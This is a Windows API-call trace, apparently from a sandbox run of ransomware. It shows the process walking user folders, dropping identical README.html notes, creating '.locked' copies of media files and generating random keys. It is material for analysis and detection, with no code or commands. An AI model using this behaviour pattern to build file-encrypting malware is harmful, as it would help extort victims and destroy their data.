	[0080.706] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0080.706] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0080.706] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0080.706] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.706] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0080.707] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0000*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0000*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.707] CloseHandle (hObject=0xc0) returned 1
	[0080.708] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696000*, nNumberOfCharsToWrite=0x44, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12696000*, lpNumberOfCharsWritten=0x127ee914*=0x44) returned 1
	[0080.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\saved games\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc288 | out: lpFileInformation=0x123fc288*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a)) returned 1
	[0080.708] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches"), fInfoLevelId=0x0, lpFileInformation=0x123fc378 | out: lpFileInformation=0x123fc378*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0080.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.709] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0080.709] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.709] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0080.709] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Everywhere.search-ms", cAlternateFileName="EVERYW~1.SEA")) returned 1
	[0080.709] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Indexed Locations.search-ms", cAlternateFileName="INDEXE~1.SEA")) returned 1
	[0080.709] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0080.709] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0080.709] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.709] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0080.710] WriteFile (in: hFile=0xc0, lpBuffer=0x126f0c80*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f0c80*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.711] CloseHandle (hObject=0xc0) returned 1
	[0080.711] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12696090*, nNumberOfCharsToWrite=0x41, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12696090*, lpNumberOfCharsWritten=0x127ee914*=0x41) returned 1
	[0080.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Everywhere.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\everywhere.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fc4b8 | out: lpFileInformation=0x123fc4b8*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99d9932, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1
	[0080.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\Indexed Locations.search-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\indexed locations.search-ms"), fInfoLevelId=0x0, lpFileInformation=0x123fc508 | out: lpFileInformation=0x123fc508*(dwFileAttributes=0x23, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf99b37d1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0xf8)) returned 1
	[0080.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x123fc558 | out: lpFileInformation=0x123fc558*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c)) returned 1
	[0080.712] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\sendto"), fInfoLevelId=0x0, lpFileInformation=0x123fc5a8 | out: lpFileInformation=0x123fc5a8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x123fc5f8 | out: lpFileInformation=0x123fc5f8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\templates"), fInfoLevelId=0x0, lpFileInformation=0x123fc648 | out: lpFileInformation=0x123fc648*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.714] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos"), fInfoLevelId=0x0, lpFileInformation=0x123fc6e8 | out: lpFileInformation=0x123fc6e8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebbd66e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebbd66e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0080.714] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.715] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\*", lpFindFileData=0x127ef97c | out: lpFindFileData=0x127ef97c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebbd66e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebbd66e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xebbd66e0, ftLastAccessTime.dwHighDateTime=0x1d52dc4, ftLastWriteTime.dwLowDateTime=0xebbd66e0, ftLastWriteTime.dwHighDateTime=0x1d52dc4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d08e30, ftCreationTime.dwHighDateTime=0x1d4cb61, ftLastAccessTime.dwLowDateTime=0x97ee0690, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x97ee0690, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="957cqMipEkxfKG4", cAlternateFileName="957CQM~1")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbb593970, ftCreationTime.dwHighDateTime=0x1d4d2d9, ftLastAccessTime.dwLowDateTime=0x8a0bc460, ftLastAccessTime.dwHighDateTime=0x1d4d1c0, ftLastWriteTime.dwLowDateTime=0x8a0bc460, ftLastWriteTime.dwHighDateTime=0x1d4d1c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="aEbc", cAlternateFileName="")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc57aba40, ftCreationTime.dwHighDateTime=0x1d4c5c9, ftLastAccessTime.dwLowDateTime=0xc32fff10, ftLastAccessTime.dwHighDateTime=0x1d4d0ce, ftLastWriteTime.dwLowDateTime=0xc32fff10, ftLastWriteTime.dwHighDateTime=0x1d4d0ce, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DnZGaeHX", cAlternateFileName="")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7a9c8720, ftCreationTime.dwHighDateTime=0x1d4d414, ftLastAccessTime.dwLowDateTime=0x469fc5a0, ftLastAccessTime.dwHighDateTime=0x1d4c67b, ftLastWriteTime.dwLowDateTime=0x469fc5a0, ftLastWriteTime.dwHighDateTime=0x1d4c67b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HPhJCcF2", cAlternateFileName="")) returned 1
	[0080.715] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef99c | out: lpFindFileData=0x127ef99c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0080.715] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0080.715] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.717] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed94 | out: lpMode=0x127eed94) returned 0
	[0080.717] WriteFile (in: hFile=0xc0, lpBuffer=0x126f2580*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed84, lpOverlapped=0x0 | out: lpBuffer=0x126f2580*, lpNumberOfBytesWritten=0x127eed84*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.718] CloseHandle (hObject=0xc0) returned 1
	[0080.718] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x12416280*, nNumberOfCharsToWrite=0x3f, lpNumberOfCharsWritten=0x127ee914, lpReserved=0x0 | out: lpBuffer=0x12416280*, lpNumberOfCharsWritten=0x127ee914*=0x3f) returned 1
	[0080.719] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4"), fInfoLevelId=0x0, lpFileInformation=0x123fc8c8 | out: lpFileInformation=0x123fc8c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d08e30, ftCreationTime.dwHighDateTime=0x1d4cb61, ftLastAccessTime.dwLowDateTime=0x97ee0690, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x97ee0690, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1
	[0080.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0080.719] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d08e30, ftCreationTime.dwHighDateTime=0x1d4cb61, ftLastAccessTime.dwLowDateTime=0x97ee0690, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x97ee0690, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0080.719] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d08e30, ftCreationTime.dwHighDateTime=0x1d4cb61, ftLastAccessTime.dwLowDateTime=0x97ee0690, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x97ee0690, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.719] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf65949a0, ftCreationTime.dwHighDateTime=0x1d4ce71, ftLastAccessTime.dwLowDateTime=0xa18be0, ftLastAccessTime.dwHighDateTime=0x1d4c92f, ftLastWriteTime.dwLowDateTime=0xa18be0, ftLastWriteTime.dwHighDateTime=0x1d4c92f, nFileSizeHigh=0x0, nFileSizeLow=0xeb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="08-g3xsnW7xlvb5G618.mp4", cAlternateFileName="08-G3X~1.MP4")) returned 1
	[0080.719] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x356be730, ftCreationTime.dwHighDateTime=0x1d4c71d, ftLastAccessTime.dwLowDateTime=0x6880bee0, ftLastAccessTime.dwHighDateTime=0x1d4c86f, ftLastWriteTime.dwLowDateTime=0x6880bee0, ftLastWriteTime.dwHighDateTime=0x1d4c86f, nFileSizeHigh=0x0, nFileSizeLow=0x657c, dwReserved0=0x0, dwReserved1=0x0, cFileName="O8DuDIpf.swf", cAlternateFileName="")) returned 1
	[0080.719] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x924b4e70, ftCreationTime.dwHighDateTime=0x1d4cf27, ftLastAccessTime.dwLowDateTime=0xda105120, ftLastAccessTime.dwHighDateTime=0x1d4ca94, ftLastWriteTime.dwLowDateTime=0xda105120, ftLastWriteTime.dwHighDateTime=0x1d4ca94, nFileSizeHigh=0x0, nFileSizeLow=0x92f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="s4L9H2bituSU-qOHaGjN.swf", cAlternateFileName="S4L9H2~1.SWF")) returned 1
	[0080.719] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0080.719] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0080.719] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\README.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\readme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.720] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eed30 | out: lpMode=0x127eed30) returned 0
	[0080.720] WriteFile (in: hFile=0xc0, lpBuffer=0x126f3200*, nNumberOfBytesToWrite=0xc5a, lpNumberOfBytesWritten=0x127eed20, lpOverlapped=0x0 | out: lpBuffer=0x126f3200*, lpNumberOfBytesWritten=0x127eed20*=0xc5a, lpOverlapped=0x0) returned 1
	[0080.721] CloseHandle (hObject=0xc0) returned 1
	[0080.721] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x1268a5a0*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x127ee8b0, lpReserved=0x0 | out: lpBuffer=0x1268a5a0*, lpNumberOfCharsWritten=0x127ee8b0*=0x4f) returned 1
	[0080.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4"), fInfoLevelId=0x0, lpFileInformation=0x123fca08 | out: lpFileInformation=0x123fca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf65949a0, ftCreationTime.dwHighDateTime=0x1d4ce71, ftLastAccessTime.dwLowDateTime=0xa18be0, ftLastAccessTime.dwHighDateTime=0x1d4c92f, ftLastWriteTime.dwLowDateTime=0xa18be0, ftLastWriteTime.dwHighDateTime=0x1d4c92f, nFileSizeHigh=0x0, nFileSizeLow=0xeb57)) returned 1
	[0080.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0080.722] GetConsoleMode (in: hConsoleHandle=0xc0, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.722] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\957cqMipEkxfKG4\\08-g3xsnW7xlvb5G618.mp4.locked" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\957cqmipekxfkg4\\08-g3xsnw7xlvb5g618.mp4.locked"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4
	[0080.723] GetConsoleMode (in: hConsoleHandle=0xc4, lpMode=0x127eebac | out: lpMode=0x127eebac) returned 0
	[0080.723] CryptGenRandom (in: hProv=0x7eb388, dwLen=0x20, pbBuffer=0x1238c6a0 | out: pbBuffer=0x1238c6a0) returned 1
